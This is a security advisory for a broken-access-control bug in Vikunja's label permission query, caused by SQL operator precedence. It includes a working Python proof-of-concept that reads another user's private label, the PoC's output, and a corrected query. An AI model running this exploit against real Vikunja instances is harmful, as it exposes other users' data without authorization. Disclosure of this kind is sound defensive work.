CVE-2026-35596: Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug
Summary The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Published Apr 10, 2026 · Updated Jul 21, 2026
Affected packages
code.vikunja.io/api
- Ecosystem
- Go
- Affected
- <= 2.2.2
- Fixed in
- 2.3.0
- Check
go list -m code.vikunja.io/api
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}") # labelerOutput:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labelerLabel IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)--- *Found and reported by aisafe.io*
Credited to adrgs, aisafe-bot.
References
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-hj5c-mhh2-g7jq
- https://github.com/go-vikunja/vikunja/pull/2578
- https://github.com/go-vikunja/vikunja/commit/fc216c38afaa51dd56dde7a97343d2148ecf24c1
- https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0
- https://github.com/advisories/GHSA-hj5c-mhh2-g7jq
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-57458
Vikunja: Scoped API token can mint unrestricted OAuth session credentials
high8.1Oct 9, 2026CVE-2026-62367
Vikunja: OIDC email-fallback account linking ignores email_verified, enabling local-account takeover
high7.5Oct 9, 2026CVE-2026-62376
Vikunja: Plaintext storage of password-reset/email-confirm tokens in database enables account takeover on DB read access
high8.1Oct 9, 2026CVE-2026-68581
Vikunja: Link-share principal ID collision allows cross-account API token issuance and management
high8.1Oct 9, 2026CVE-2026-68582
Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)
critical9.3Oct 9, 2026CVE-2026-76216
Vikunja: Link-share principal-type confusion enables cross-account team removal, bot takeover, and roster disclosure
high7.5Oct 9, 2026
